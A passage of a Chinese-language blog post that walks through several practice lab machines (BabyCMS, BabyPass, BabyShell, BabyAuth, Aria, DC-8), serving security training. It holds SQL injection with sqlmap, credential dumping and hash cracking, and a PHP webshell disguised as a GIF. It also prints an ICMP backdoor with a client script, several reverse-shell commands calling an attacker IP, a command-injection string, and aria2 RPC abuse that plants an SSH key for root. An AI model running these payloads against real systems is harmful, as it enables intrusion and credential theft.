class=\"wp-block-preformatted\">\u67e5\u770b\/var\/www\/html \u4e0b\u9762\u7684config.inc.php<br>\u53d1\u73b0mysql\u6570\u636e\u5e93<br>'user' =&gt; 'pagekit_user',<br>'password' =&gt; 'your_secure_password',<\/pre>\n\n\n\n<pre class=\"wp-block-preformatted\">\u8fdc\u7a0b\u8fde\u63a5<br>www-data@BabyCMS:\/$ mysql -upagekit_user -p<br>Enter password:<br>Welcome to the MariaDB monitor. Commands end with ; or \\g.<br>Your MariaDB connection id is 54225<br>Server version: 10.5.23-MariaDB-0+deb11u1 Debian 11<br>Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.<br>Type 'help;' or '\\h' for help. Type '\\c' to clear the current input statement.<br>MariaDB [(none)]&gt; show databases;<br>+--------------------+<br>| Database |<br>+--------------------+<br>| information_schema |<br>| pagekit |<br>+--------------------+<br>2 rows in set (0.000 sec)<br>MariaDB [(none)]&gt; use pagekit;<br>Reading table information for completion of table and column names<br>You can turn off this feature to get a quicker startup with -A<br>Database changed<br>MariaDB [pagekit]&gt; show tables;<br>+-----------------------+<br>| Tables_in_pagekit |<br>+-----------------------+<br>| typecho_comments |<br>| typecho_contents |<br>| typecho_fields |<br>| typecho_metas |<br>| typecho_options |<br>| typecho_relationships |<br>| typecho_userlist |<br>| typecho_users |<br>+-----------------------+<br>8 rows in set (0.000 sec)<br>MariaDB [pagekit]&gt; select * from typecho_userlist;<br>+----+--------+----------------------+<br>| id | name | pass |<br>+----+--------+----------------------+<br>| 1 | caigou | dRfGtYhUjIkOlPqAeRtY |<br>| 2 | user1 | aBcDeFgHiJkLmNoPqRsT |<br>| 3 | user2 | cNNloFLE88YBIP4ZJfcy |<br>| 4 | user3 | xYzAbCdEfGhIjKlMnOpQ |<br>| 5 | user4 | pLmOkNjIbHvGcFxDrEsW |<br>| 6 | user5 | wVxYzAbCdEfGhIjKlMnO |<br>| 7 | user6 | sTrUvWxYzAbCdEfGhIjK |<br>| 8 | user7 | qWeRtYuIoPaSdFgHjKlZ |<br>| 9 | user8 | mNbVcXzAsDfGhJkLpOqR |<br>| 10 | user9 | kJiHgFdSaPqOwNeMtBuV |<br>+----+--------+----------------------+<br>\u53d1\u73b0\u7528\u6237\u662fcaigou<br>\u7206\u7834\u5bc6\u7801<br>cNNloFLE88YBIP4ZJfcy<\/pre>\n\n\n\n<h4 class=\"wp-block-heading\">root\u63d0\u6743<\/h4>\n\n\n\n<pre class=\"wp-block-preformatted\">\u62ff\u5230caigou\u540e\u5e76\u6ca1\u6709\u53d1\u73b0\u5e38\u89c4\u63d0\u6743\u8def\u5f84\u53ef\u2f64\uff0c\u7206\u7834\u4e0a\u9762\u7684\u5bc6\u7801\uff0c\u53d1\u73b0\u5bc6\u7801\u8fd8\u662fcNNloFLE88YBIP4ZJfcy\ud83e\udd14<br>\u62ff\u5230root\u6743\u9650<\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">babypass<\/h3>\n\n\n\n<pre class=\"wp-block-preformatted\">\u5f04\u597d\u9776\u673a\u4e4b\u540e<br>\u4f7f\u7528fscan\u626b\u63cf\u4e00\u4e0b<br>curl\u4e00\u4e0b\u4e3b\u9875 \u53d1\u73b0\u63d0\u793a<br>hello world<br>&lt;!-- tms --&gt;<br>&lt;!-- Do not use same password in different account.  --&gt;<\/pre>\n\n\n\n<pre class=\"wp-block-preformatted\">\u4fe1\u606f\u641c\u96c6\u4e00\u4e0b\u53d1\u73b0tms\u662f\u4e00\u4e2a\u65c5\u6e38\u7ba1\u7406\u7cfb\u7edf<br>dir\u626b\u4e00\u4e0b\u53d1\u73b0README.md\u8fd9\u4e2a\u6587\u4ef6<br>\u91cc\u9762\u5b58\u5728\uff1a<br>Username : admin<br>Password : Test@123<br>\u8fdb\u5165\u4e3b\u9875\u53d1\u73b0\u6709\u7684\u70b9\u4e0d\u52a8\uff0c\u5c31\u8bd5\u8bd5\u8fdc\u7a0bssh\u8fde\u63a5\u4e00\u4e0b\u53d1\u73b0\u6210\u529f\u8fde\u63a5\u4e0a\u53bb<\/pre>\n\n\n\n<pre class=\"wp-block-preformatted\">id<br>uid=1002(admin) gid=1002(admin) groups=1002(admin)<br>admin@BabyPass:~$ sudo -l<br>[sudo] password for admin: <br>Sorry, user admin may not run sudo on BabyPass<\/pre>\n\n\n\n<p>\u7136\u540e\u67e5\u770b\/var\/www\/html\/tms\/includes\/config.php\u6587\u4ef6<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">define('DB_HOST','localhost');<br>define('DB_USER','tms_user');<br>define('DB_PASS','secure_password');<br>define('DB_NAME','tms');<br>\/\/ Establish database connection.<\/pre>\n\n\n\n<pre class=\"wp-block-preformatted\">mysql -utms_user -psecure_password<br>mysql\u8fde\u63a5\u4e00\u4e0b<br>\u67e5\u770btms\u90a3\u4e2a\u5e93\uff0c\u63a5\u7740\u67e5\u770b\u4e0b\u9762\u7684\u8868<br>| Tables_in_tms   |<br>+-----------------+<br>| admin           |<br>| tblbooking      |<br>| tblenquiry      |<br>| tblissues       |<br>| tblpages        |<br>| tbltourpackages |<br>| tblusers        |<br>+-----------------+<\/pre>\n\n\n\n<pre class=\"wp-block-preformatted\">|  1 | Manju Srivatav | 4456464654   | manju@gmail.com  | 202cb962ac59075b964b07152d234b70 | 2020-07-08 02:33:20 | NULL                |<br>|  2 | Kishan         | 9871987979   | kishan@gmail.com | 202cb962ac59075b964b07152d234b70 | 2020-07-08 02:33:56 | NULL                |<br>|  3 | Salvi Chandra  | 1398756416   | salvi@gmail.com  | 202cb962ac59075b964b07152d234b70 | 2020-07-08 02:34:20 | NULL                |<br>|  4 | Abir           | 4789756456   | abir@gmail.com   | 202cb962ac59075b964b07152d234b70 | 2020-07-08 02:34:38 | NULL                |<br>|  5 | Test           | 1987894654   | anuj@gmail.com   | f925916e2754e5e03f75dd58a5733251 | 2020-07-08 02:35:06 | 2021-05-11 00:37:41 |<br>|  6 | root           | 123456789    | root@gmail.com   | fd50619cd7026f0f32272f77f4da6e92<\/pre>\n\n\n\n<pre class=\"wp-block-preformatted\">https:\/\/toolshu.com\/crackmd5  https:\/\/hashes.com\/zh\/decrypt\/hash https:\/\/somd5.com md5\u89e3\u5bc6\u7f51\u7ad9<br>fd50619cd7026f0f32272f77f4da6e92 -&gt; Root@456<\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">babyshell<\/h3>\n\n\n\n<pre class=\"wp-block-preformatted\">fscan\u626b\u4e00\u4e0b\u9776\u673a\u53d1\u73b080\u548c22\u7aef\u53e3<br>dir\u626b\u4e00\u4e0b\u53d1\u73b0backup.zip \uff0c\u89e3\u538b\u53d1\u73b0icmp.py<br>#!\/usr\/bin\/env python3<br>import os<br>import sys<br>import socket<br>import struct<br>import time<br>import subprocess<br>import signal<br>import threading<br>from scapy.all import ICMP, IP, Raw, send, sniff, Ether<br>import base64<br><br>TRIGGER_SEQUENCE = b\"Mazesec\"<br>LISTEN_INTERFACE = \"enp0s3\"<br>SERVER_IP = \"0.0.0.0\"<br><br><br>class ICMPServer:<br>    def __init__(self):<br>        self.running = True<br>        self.client_ips = {}<br><br>    def signal_handler(self, sig, frame):<br>        print(\"\\n[!] Stopping server...\")<br>        self.running = False<br>        sys.exit(0)<br><br>    def execute_command_as_user(self, command, uid=1000, timeout=30):<br><br>    def parse_icmp_command(self, packet_data):<br>        try:<br>            trigger_len = len(TRIGGER_SEQUENCE)<br>            if len(packet_data) &lt; trigger_len + 4:<br>                return None<br><br>            if packet_data[:trigger_len] != TRIGGER_SEQUENCE:<br>                return None<br><br>            cmd_len = struct.unpack('&gt;I', packet_data[trigger_len:trigger_len + 4])[0]<br><br>            if cmd_len &lt;= 0 or cmd_len &gt; 4096:<br>                return None<br><br>            if len(packet_data) &lt; trigger_len + 4 + cmd_len:<br>                return None<br><br>            command = packet_data[trigger_len + 4:trigger_len + 4 + cmd_len].decode('utf-8', errors='ignore')<br>            return command<br><br>        except Exception as e:<br>            print(f\"[-] Parse error: {e}\")<br>            return None<br><br>    def create_icmp_response(self, original_packet, result):<br>        try:<br>            result_bytes = result.encode('utf-8') if isinstance(result, str) else result<br>            result_len = len(result_bytes)<br>            trigger_len = len(TRIGGER_SEQUENCE)<br><br>            payload = TRIGGER_SEQUENCE<br>            payload += struct.pack('&gt;I', result_len)<br>            payload += result_bytes<br><br>            response = IP(dst=original_packet[IP].src) \/ \\<br>                       ICMP(type=0, id=original_packet[ICMP].id, seq=original_packet[ICMP].seq) \/ \\<br>                       Raw(load=payload)<br><br>            return response<br><br>        except Exception as e:<br>            print(f\"[-] Response creation error: {e}\")<br>            return None<br><br>    def handle_icmp_packet(self, packet):<br>        if not self.running:<br>            return<br><br>        try:<br>            if packet.haslayer(ICMP) and packet[ICMP].type == 8:<br>                src_ip = packet[IP].src<br><br>                if packet.haslayer(Raw):<br>                    icmp_data = bytes(packet[Raw].load)<br><br>                    command = self.parse_icmp_command(icmp_data)<br><br>                    if command:<br>                        print(f\"[+] Command from {src_ip}: {command}\")<br><br>                        # \u4ee5UID 1000\u6267\u884c\u547d\u4ee4<br>                        result = self.execute_command_as_user(command, 1000)<br>                        print(f\"[+] Result length: {len(result)}\")<br><br>                        # \u4ee5root\u6743\u9650\u53d1\u9001ICMP\u54cd\u5e94<br>                        response = self.create_icmp_response(packet, result)<br>                        if response:<br>                            send(response, verbose=0)<br>                            print(f\"[+] Response sent to {src_ip}\")<br><br>                        self.client_ips[src_ip] = time.time()<br><br>        except Exception as e:<br>            print(f\"[-] Packet handling error: {e}\")<br><br>    def start_server(self):<br><br>        signal.signal(signal.SIGINT, self.signal_handler)<br>        signal.signal(signal.SIGTERM, self.signal_handler)<br><br><br>def main():<br>    server = ICMPServer()<br>    server.start_server()<br><br><br>if __name__ == \"__main__\":<br>    main()<\/pre>\n\n\n\n<pre class=\"wp-block-preformatted\">\u62f7\u6253ai\u5f97\u51fa\u811a\u672c<br>#!\/usr\/bin\/env python3<br># icmp_client.py<br>import struct<br>import time<br>from scapy.all import IP, ICMP, Raw, send, sniff<br><br>TRIGGER = b\"Mazesec\"<br>TARGET = \"192.168.3.183\"   # &lt;-- \u6539\u4e3a\u76ee\u6807 IP<br>TIMEOUT = 5<br><br>def make_payload(cmd: str) -&gt; bytes:<br>    b = cmd.encode('utf-8')<br>    return TRIGGER + struct.pack('&gt;I', len(b)) + b<br><br>def send_command_and_wait(target_ip: str, cmd: str, timeout: int = TIMEOUT):<br>    payload = make_payload(cmd)<br>    pkt = IP(dst=target_ip) \/ ICMP(type=8, id=0x1234, seq=0x1) \/ Raw(load=payload)<br>    send(pkt, verbose=0)<br>    # \u76d1\u542c\u76ee\u6807\u53d1\u56de\u7684 ICMP Echo Reply\uff08type 0\uff09\u5e76\u4ee5 TRIGGER \u5f00\u5934\u7684\u5305<br>    def filter_fn(x):<br>        try:<br>            return x.haslayer(ICMP) and x[ICMP].type == 0 and x[IP].src == target_ip and x.haslayer(Raw) and bytes(x[Raw].load).startswith(TRIGGER)<br>        except Exception:<br>            return False<br><br>    pkts = sniff(lfilter=filter_fn, timeout=timeout, count=1)<br>    if not pkts:<br>        print(\"[!] No reply\")<br>        return None<br>    load = bytes(pkts[0][Raw].load)<br>    # parse: skip TRIGGER, read 4-byte length, then data<br>    try:<br>        off = len(TRIGGER)<br>        out_len = struct.unpack('&gt;I', load[off:off+4])[0]<br>        data = load[off+4:off+4+out_len]<br>        return data.decode('utf-8', errors='ignore')<br>    except Exception as e:<br>        print(\"[!] Parse error:\", e)<br>        return None<br><br>if __name__ == \"__main__\":<br>    import sys<br>    if len(sys.argv) &lt; 3:<br>        print(\"Usage: sudo python icmp_client.py &lt;target_ip&gt; &lt;command&gt;\")<br>        sys.exit(1)<br>    tgt = sys.argv[1]<br>    cmd = \" \".join(sys.argv[2:])<br>    print(f\"[+] Sending command to {tgt}: {cmd}\")<br>    out = send_command_and_wait(tgt, cmd, timeout=8)<br>    if out is None:<br>        print(\"[!] No response or parse failure\")<br>    else:<br>        print(\"----- RESPONSE BEGIN -----\")<br>        print(out)<br>        print(\"----- RESPONSE END -----\")<\/pre>\n\n\n\n<pre class=\"wp-block-preformatted\">sudo python3 icmp_client.py 192.168.3.183 \"whoami\"<br>\u56de\u663eid\u4e3a: zero\uff0c\u4e0d\u8fc7\u8001\u662f\u65ad\u5f00\u4ec0\u4e48\u7684\uff0c\u6709\u65f6\u5019\u547d\u4ee4run\u4e0d\u4e86\uff0c\u5c1d\u8bd5\u53cd\u5f39shell<br>sudo python3 icmp_client.py 192.168.3.183 \"busybox nc 192.168.3.236 4444 -e \/bin\/sh\"<br>[+] Sending command to 192.168.3.183: busybox nc 192.168.3.236 4444 -e \/bin\/sh<br>[!] No reply<br>[!] No response or parse failure<br>\u53d1\u73b0\u786e\u5b9e\u62a5\u9519\u4e0d\u8fc7\u4e5f\u786e\u5b9e\u53cd\u5f39\u6210\u529f\u4e86\ud83e\udd21<\/pre>\n\n\n\n<pre class=\"wp-block-preformatted\">nc -lvvp 4444<br>ls<br>bin<br>boot<br>dev<br>etc<br>home<br>initrd.img<br>initrd.img.old<br>lib<br>lib32<br>lib64<br>libx32<br>lost+found<br>media<br>mnt<br>opt<br>proc<br>root<br>run<br>sbin<br>srv<br>sys<br>tmp<br>usr<br>var<br>vmlinuz<br>vmlinuz.old<br>\u76f4\u63a5\u8bfb\/home\/zero\/user.txt<br>\u4f7f\u7528\u4e0a\u9762\u7684\u6743\u9650\u7ef4\u6301\u65b9\u6cd5\uff1a<br>\/usr\/bin\/script -qc \/bin\/bash \/dev\/null<br>\u8fdb\u5165\u4ea4\u4e92\u9875\u9762\u67e5\u770b\u5b8c\u6574\u7684py<br>cat icmp.py<br>![vmware_CFf9ubKoLM](HackmyVm-babyshell\/2025-11\/vmware_CFf9ubKoLM.png)<br>def execute_command_as_user(self, command, uid=1000, timeout=30):<br>try:<br># \u4f7f\u7528sudo\u4ee5\u6307\u5b9a\u7528\u6237\u6267\u884c\u547d\u4ee4<br>result = subprocess.check_output(<br>f\"sudo -u zero bash -c '{command}'\",<br>shell=True,<br>stderr=subprocess.STDOUT,<br>timeout=timeout,<br>text=True<br>)<br>return result<br>except subprocess.TimeoutExpired:<br>return f\"Error: Command timeout\"<br>except subprocess.CalledProcessError as e:<br>return f\"Error: Exit code {e.returncode}\\nOutput: {e.output}\"<br>except Exception as e:<br>return f\"Error: {str(e)}\"\/\/(\u5c31\u653e\u6bd4\u8f83\u91cd\u8981\u7684\u4e86)<br>\u53d1\u73b0\u547d\u4ee4\u53ef\u4ee5\u62fc\u63a5\u6267\u884c\u5e76\u4e14\u662fsudo<br>\u76f4\u63a5<br>sudo python3 icmp_client.py 192.168.3.183 \"';bash -c 'bash -i &gt;&amp;\/dev\/tcp\/192.168.3.236\/2333 0&gt;&amp;1''\"<\/pre>\n\n\n\n<pre class=\"wp-block-preformatted\">nc -lvvp 2333<br>listening on [any] 2333 ...<br>192.168.3.183: inverse host lookup failed: Host name lookup failure<br>connect to [192.168.3.236] from (UNKNOWN) [192.168.3.183] 44174<br>bash: cannot set terminal process group (356): Inappropriate ioctl for device<br>bash: no job control in this shell<br>root@BabyShell:\/# \/\/\u62ff\u4e0broot<\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">babyauth<\/h3>\n\n\n\n<p>\u6253\u5f00\u8be5\u9776\u673a\uff0c\u5148fscan\u626b\u4e00\u4e0b\uff0cdirsearch\u626b\u4e00\u4e0b<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">\u53d1\u73b0\u4e00\u4e2a\u767b\u5f55\u6846\uff1ahttp:\/\/192.168.3.237\/login.php<br>\u767b\u5f55\u6846\u6709\uff1asql\u6ce8\u5165\u6f0f\u6d1e,xss\u4ec0\u4e48\u7684\u4e00\u4e9b\u6f0f\u6d1e\uff0c\u56e0\u4e3adir\u5c31\u626b\u51fa\u6765\u8fd9\u4e00\u4e2a\uff0c\u8bd5\u8bd5\u7206\u7834\u767b\u5f55\u548c\u6f0f\u6d1e\u6d4b\u8bd5\uff0c\u7136\u540e\u53d1\u73b0\u7206\u7834\u6210\u529f<br>admin\/iloveyou<br>http:\/\/192.168.3.237\/admin.php?search=1<br>http:\/\/192.168.3.237\/admin.php?search=1%27+or+1%3D1%23 \/\/1' or 1=1#<br>\u53d1\u73b0\u5b58\u5728sql\u6ce8\u5165\u6f0f\u6d1e\uff0c\u4f7f\u7528sqlmap\u5de5\u5177\u76f4\u63a5\u626b\uff1a<br> python sqlmap.py -u \"http:\/\/192.168.3.237:80\/admin.php?search=1%27+or+1%3D1%23\" --dbs --cookie=\"PHPSESSID=tk7ogtoevdljgfatikhhrlkrpo\"<br> available databases [2]:<br>[*] information_schema<br>[*] target_db<br><br>-u \"http:\/\/192.168.3.237:80\/admin.php?search=1%27+or+1%3D1%23\" -D target_db --tables --cookie=\"PHPSESSID=tk7ogtoevdljgfatikhhrlkrpo\"<br>Database: target_db<br>[3 tables]<br>+---------+<br>| path    |<br>| credit  |<br>| product |<br>+---------+<br><br>-u \"http:\/\/192.168.3.237:80\/admin.php?search=1%27+or+1%3D1%23\" -D target_db -T credit --schema --cookie=\"PHPSESSID=tk7ogtoevdljgfatikhhrlkrpo\"<br>Database: target_db<br>Table: path<br>[1 column]<br>+-------------+--------------+<br>| Column      | Type         |<br>+-------------+--------------+<br>| secret_path | varchar(255) |<br>+-------------+--------------+<br><br>Database: target_db<br>Table: credit<br>[2 columns]<br>+----------+-------------+<br>| Column   | Type        |<br>+----------+-------------+<br>| password | varchar(32) |<br>| username | varchar(50) |<br>+----------+-------------+<br>Table: credit<br>[1 entry]<br>+----------------------------------+----------+<br>| password | username |<br>+----------------------------------+----------+<br>| ff5e66b76340c5636aa40e7c6a46628f | lingmj |<br>+----------------------------------+----------+<br>ff5e66b76340c5636aa40e7c6a46628f -md5&gt; xiaomi\uff08\u4e0d\u8fc7\u5c31\u662f\u4f7f\u7528\u8fd9\u4e2a\u767b\u5f55\u4e0d\u4e0a\u53bb\uff09<br><br><br>\u53cd\u6b63\u5c31\u662f\u4e00\u7cfb\u5217\u7684\u626b<br>Table: path<br>+-----------------------------------+<br>| secret_path |<br>+-----------------------------------+<br>| \/var\/www\/html\/SsssssssuperSecret\/ |<br>+-----------------------------------+<br>\u53d1\u73b0\u8fd9\u4e2a\u76ee\u5f55http:\/\/192.168.3.237\/SsssssssuperSecret\/ \u518ddir\u4e00\u4e0b\u53d1\u73b0\u4e1c\u897f:user.txt shell.php \/index.html<br>\u8fdb\u5165shell.php \u8fd9\u4e2a\u662f\u4e00\u4e2a\u6a21\u62df\u7ec8\u7aef<br>busybox nc 192.168.3.236 4444 -e \/bin\/bash<\/pre>\n\n\n\n<pre class=\"wp-block-preformatted\">nc -lvvp 4444     <br>listening on [any] 4444 ...<br>id<br>192.168.3.237: inverse host lookup failed: Host name lookup failure<br>connect to [192.168.3.236] from (UNKNOWN) [192.168.3.237] 54840<br>uid=33(www-data) gid=33(www-data) groups=33(www-data)<br>\/usr\/bin\/script -qc \/bin\/bash \/dev\/null \/\/\u7a33\u5b9ashell \u62ff\u4e0buser\u6743\u9650<br>\u5c1d\u8bd5su -root<br>\u53d1\u73b0\u9700\u8981Verification code:<br>\u63a5\u7740\u67e5\u770b\/opt\u76ee\u5f55\u4e0b\u9762\uff0c\u68c0\u67e5\u662f\u4e0d\u662f\u5b58\u653e\u5b9a\u5236\u5de5\u5177\u3001\u914d\u7f6e\u6587\u4ef6\u6216\u6f0f\u6d1e\u76f8\u5173\u7a0b\u5e8f\uff08\u5982\u63d0\u6743\u811a\u672c\u3001\u670d\u52a1\u914d\u7f6e\uff09<br>\u5728\u7cfb\u7edf\u4e2d\u53d1\u73b0 Google Authenticator \u914d\u7f6e\u6587\u4ef6\uff1a<br>ls -al \/opt<br>ls -al \/opt<br>total 12<br>drwxr-xr-x  2 root root 4096 Nov  6 06:43 .<br>drwxr-xr-x 18 root root 4096 Mar 18  2025 ..<br>-r--r--r--  1 root root  141 Nov  6 06:43 .google_authenticator<br>cat \/opt\/.goo*<br>WETZMYJW52CMYLCZIX4EJ4HACQ<br>\" RATE_LIMIT 3 30 1762429231 1762429249<br>\" WINDOW_SIZE 17<br>\" TOTP_AUTH<br>66503223<br>88483022<br>74570865<br>29377535<br>29891329<br>\u83b7\u53d6 TOTP \u5bc6\u94a5\uff1aWETZMYJW52CMYLCZIX4EJ4HACQ<br>\u4f7f\u7528 oathtool \u751f\u6210\u6709\u6548\u7684\u9a8c\u8bc1\u7801\uff1aoathtool -b --totp \"WETZMYJW52CMYLCZIX4EJ4HACQ\"  -&gt; 549616<br>\u8f93\u5165code \u5bc6\u7801\u5c31\u662fxiaomi \u62ff\u4e0broot\u6743\u9650<\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">Aria<\/h2>\n\n\n\n<pre class=\"wp-block-preformatted\">fscan\u626b\u63cf\u52a0nmap<br>sudo nmap -Pn -p- -sT 192.168.3.83<br>.\/fscan -h 192.168.3.83<br>\u53d1\u73b0<br>22\/tcp   open  ssh<br>80\/tcp   open  http<br>1337\/tcp open  waste<br>\u8bbf\u95ee80\u7aef\u53e3\uff0c\u5e76\u4e14nc\u8fde\u63a51337<\/pre>\n\n\n\n<pre class=\"wp-block-preformatted\">\u2514\u2500# nc 192.168.3.83 1337<br>--- Aria Internal Service Debug Shell ---<br>--- To exit, type 'exit' ---<br><br>--- Recent Upload Paths ---<br>Log file not found.<br>--- End of Log ---<\/pre>\n\n\n\n<pre class=\"wp-block-preformatted\">\u8bbf\u95ee80\u7aef\u53e3\u5e76\u4e14dir\u626b\u63cf\u53d1\u73b0upload.php\uff0c\u6587\u4ef6\u4e0a\u4f20<br>GIF89a<br>&lt;?= exec($_GET['0']); ?&gt;<br>\u7136\u540e\u518d\u6b21nc\u8fde\u63a5<br>\u2514\u2500# nc 192.168.3.83 1337<br>--- Aria Internal Service Debug Shell ---<br>--- To exit, type 'exit' ---<br><br>--- Recent Upload Paths ---<br>Sun 16 Nov 2025 04:12:57 AM EST: New file created: \/var\/www\/html\/uploads\/756dfdd36d83c0bf213fb615014f6b2b.gif<br>\u8bbf\u95ee\u8be5\u7f51\u7ad9\uff0c\u53d1\u73b0\u8fde\u4e0a\u6210\u529f<br>?0=busybox nc 192.168.56.247 9427 -e \/bin\/bash \/\/\u53cd\u5f39shell<br>\/usr\/bin\/script -qc \/bin\/bash \/dev\/null\/\/\u6743\u9650\u7ef4\u6301<\/pre>\n\n\n\n<pre class=\"wp-block-preformatted\">cat -A \/home\/aria\/user.txt<br>flag{user-d13adadc6bbc1391394a5198cba2d1d7}$<br>M-bM-^@M-^KM-bM-^@M-^LM-bM-^@M-^LM-bM-^@M-^LM-bM-^@M-^KM-bM-^@M-^LM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^LM-bM-^@M-^LM-bM-^@M-^KM-bM-^@M-^LM-bM-^@M-^LM-bM-^@M-^LM-bM-^@M-^LM-bM-^@M-^KM-bM-^@M-^LM-bM-^@M-^LM-bM-^@M-^KM-bM-^@M-^LM-bM-^@M-^KM-bM-^@M-^LM-bM-^@M-^LM-bM-^@M-^KM-bM-^@M-^LM-bM-^@M-^LM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^LM-bM-^@M-^KM-bM-^@M-^LM-bM-^@M-^KM-bM-^@M-^LM-bM-^@M-^LM-bM-^@M-^KM-bM-^@M-^LM-bM-^@M-^LM-bM-^@M-^LM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^LM-bM-^@M-^LM-bM-^@M-^LM-bM-^@M-^KM-bM-^@M-^LM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^LM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^LM-bM-^@M-^LM-bM-^@M-^KM-bM-^@M-^LM-bM-^@M-^LM-bM-^@M-^KM-bM-^@M-^LM-bM-^@M-^KM-bM-^@M-^LM-bM-^@M-^LM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^LM-bM-^@M-^KM-bM-^@M-^LM-bM-^@M-^LM-bM-^@M-^LM-bM-^@M-^LM-bM-^@M-^KM-bM-^@M-^LM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^LM-bM-^@M-^LM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^LM-bM-^@M-^KM-bM-^@M-^LM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^LM-bM-^@M-^KM-bM-^@M-^LM-bM-^@M-^LM-bM-^@M-^KM-bM-^@M-^LM-bM-^@M-^KM-bM-^@M-^LM-bM-^@M-^LM-bM-^@M-^LM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^LM-bM-^@M-^LM-bM-^@M-^KM-bM-^@M-^LM-bM-^@M-^LM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^LM-bM-^@M-^KM-bM-^@M-^LM-bM-^@M-^KM-bM-^@M-^LM-bM-^@M-^LM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^LM-bM-^@M-^L<\/pre>\n\n\n\n<pre class=\"wp-block-preformatted\">\u53d1\u73b0\u662f\u96f6\u5bbd\u5ea6 \/ \u63a7\u5236\u5b57\u7b26<br>\u63a5\u628aflag\u548c\u4e0d\u53ef\u89c1\u5b57\u7b26\u653e\u5165\u89e3\u5bc6\u7f51\u7ad9\uff0c\u5f97\u5230token token: maze-sec<br>\u626b\u63cf\u4e00\u4e0b\u7aef\u53e3ss -lntp<br>LISTEN         0              128                        127.0.0.1:6800                      0.0.0.0:*<br>www-data@Aria:\/var\/www\/html\/uploads$ ps aux | grep aria<br>root         337  0.0  0.1  56660  2644 ?        Ss   04:00   0:03 \/usr\/bin\/aria2c --conf-path=\/root\/.aria2\/aria2.conf<br>\u53d1\u73b0\u662froot\u7528\u6237\u6253\u5f00\u7684\uff0c\u6d4b\u8bd5\u4e00\u4e0b\u6f0f\u6d1e\u7aef\u53e3\u662f\u4e0d\u662f\u5b58\u5728<br>www-data@Aria:\/var\/www\/html\/uploads$ curl -s http:\/\/127.0.0.1:6800\/jsonrpc \\<br>&gt; -H 'Content-Type: application\/json' \\<br>&gt; -d '{\"jsonrpc\":\"2.0\",\"method\":\"aria2.getVersion\",\"id\":\"Q1\"}'<br>{\"id\":\"Q1\",\"jsonrpc\":\"2.0\",\"error\":{\"code\":1,\"message\":\"Unauthorized\"}}<br>\u5f97\u5230Unauthorized\uff0c\u8bf4\u660e\u6709\u8ba4\u8bc1\uff0c\u4f7f\u7528user.txt\u62ff\u5230\u7684token<br>www-data@Aria:\/var\/www\/html\/uploads$ curl -s http:\/\/127.0.0.1:6800\/jsonrpc \\<br>&gt; -H 'Content-Type: application\/json' \\<br>&gt; -d '{\"jsonrpc\":\"2.0\",\"method\":\"aria2.getVersion\",\"id\":\"Q1\",\"params\":[\"token:maze-sec\"]}'<br>{\"id\":\"Q1\",\"jsonrpc\":\"2.0\",\"result\":{\"enabledFeatures\":[\"Async DNS\",\"BitTorrent\",\"Firefox3 Cookie\",\"GZip\",\"HTTPS\",\"Message Digest\",\"Metalink\",\"XML-RPC\",\"SFTP\"],\"version\":\"1.35.0\"}}<br>\u6210\u529f\u8fd4\u56de\u7248\u672c\u4fe1\u606f\uff0c\u6f0f\u6d1e\u5b58\u5728<\/pre>\n\n\n\n<p>\u653b\u51fb\u673a\u4e0a\u5f00\u542fhttp\u670d\u52a1\uff0c\u5e76\u628a\u81ea\u5df1\u7684\u516c\u94a5\u4fdd\u5b58\u5230<code>authorized_keys<\/code> \u6587\u4ef6\u4e2d<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">\u250c\u2500\u2500(root\u327fkali)-[~]<br>\u2514\u2500# python -m http.server 8080                                                  <br>Serving HTTP on 0.0.0.0 port 8080 (http:\/\/0.0.0.0:8080\/) ...<\/pre>\n\n\n\n<pre class=\"wp-block-preformatted\">www-data@Aria:\/var\/www\/html\/uploads$<br>curl -s http:\/\/127.0.0.1:6800\/jsonrpc \\<br> -H 'Content-Type: application\/json' \\<br> -d '{<br>         \"jsonrpc\":\"2.0\",<br>         \"method\":\"aria2.addUri\",<br>         \"id\":\"Q1\",<br>         \"params\":[<br>           \"token:maze-sec\",<br>           [\"http:\/\/192.168.3.236:8080\/authorized_keys\"],<br>           {\"dir\":\"\/root\/.ssh\/\", \"out\":\"authorized_keys\"}<br>         ]<br> }'<\/pre>\n\n\n\n<pre class=\"wp-block-preformatted\">ssh\u8fde\u63a5\u53d1\u73b0\u83b7\u5f97root\u6743\u9650<\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">DC-8<\/h2>\n\n\n\n<p>\u626b\u63cf\u7aef\u53e3\u53d1\u73b0\u8fd8\u662f22\u548c80\u7aef\u53e3\uff0c\u70b9\u51fb\u7f51\u7ad9\u65c1\u8fb9\u7684\u6846<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">?uid=1  \u8f93\u5165uid=1' \u53d1\u73b0\u62a5\u9519 \u5e94\u8be5\u662fsql\u6ce8\u5165 sqlmap\u6ce8\u5165\u76f4\u63a5\u6253<\/pre>\n\n\n\n<pre class=\"wp-block-preformatted\">-D d7db -T users -C name,pass --dump<\/pre>\n\n\n\n<pre class=\"wp-block-preformatted\">\u53d1\u73b0\u8d26\u53f7\u548c\u5bc6\u7801<br>name   | pass                                                    |<br>+--------+---------------------------------------------------------+<br>| admin  | $S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z |<br>| john   | 